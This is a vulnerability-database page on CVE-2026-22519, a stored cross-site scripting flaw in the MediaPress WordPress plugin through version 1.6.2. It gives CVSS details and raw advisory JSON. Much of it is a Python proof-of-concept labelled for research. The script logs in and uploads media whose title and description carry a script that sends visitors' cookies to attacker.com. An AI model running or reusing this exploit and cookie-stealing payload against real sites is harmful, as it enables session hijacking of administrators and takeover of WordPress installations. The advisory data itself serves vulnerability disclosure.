Security Vulnerability Report
中文
CVE-2026-22519 CVSS 6.5 MEDIUM

CVE-2026-22519

Published: 2026-01-08 17:15:52
Last Modified: 2026-04-23 15:36:38

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in BuddyDev MediaPress mediapress allows Stored XSS.This issue affects MediaPress: from n/a through <= 1.6.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

MediaPress <= 1.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-22519 MediaPress Stored XSS PoC # Target: WordPress site with MediaPress plugin <= 1.6.2 def exploit_stored_xss(target_url, username, password): """ Exploit MediaPress Stored XSS vulnerability This PoC demonstrates how to inject malicious JavaScript through media upload """ session = requests.Session() login_url = f"{target_url}/wp-login.php" upload_url = f"{target_url}/wp-admin/admin-ajax.php" # Login to WordPress login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # XSS payload - steals cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Upload media with XSS payload in title/description files = { 'file': ('malicious_image.jpg', b'fake_image_data', 'image/jpeg') } data = { 'action': 'mpp_upload', 'title': xss_payload, # XSS injection point 'description': f'<img src=x onerror="{xss_payload}">', '_wpnonce': 'REPLACE_WITH_VALID_NONCE' } response = session.post(upload_url, files=files, data=data) if response.status_code == 200: print(f"[+] XSS payload uploaded successfully to: {target_url}") print(f"[+] Payload: {xss_payload}") print(f"[+] When admin views the media, the XSS will execute") else: print(f"[-] Upload failed: {response.status_code}") if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python cve-2026-22519_poc.py <target_url> <username> <password>") sys.exit(1) exploit_stored_xss(sys.argv[1], sys.argv[2], sys.argv[3])

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22519", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:51.960", "lastModified": "2026-04-23T15:36:37.970", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in BuddyDev MediaPress mediapress allows Stored XSS.This issue affects MediaPress: from n/a through <= 1.6.2."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en BuddyDev MediaPress permite XSS Almacenado. Este problema afecta a MediaPress: desde n/d hasta 1.6.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/mediapress/vulnerability/wordpress-mediapress-plugin-1-6-1-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}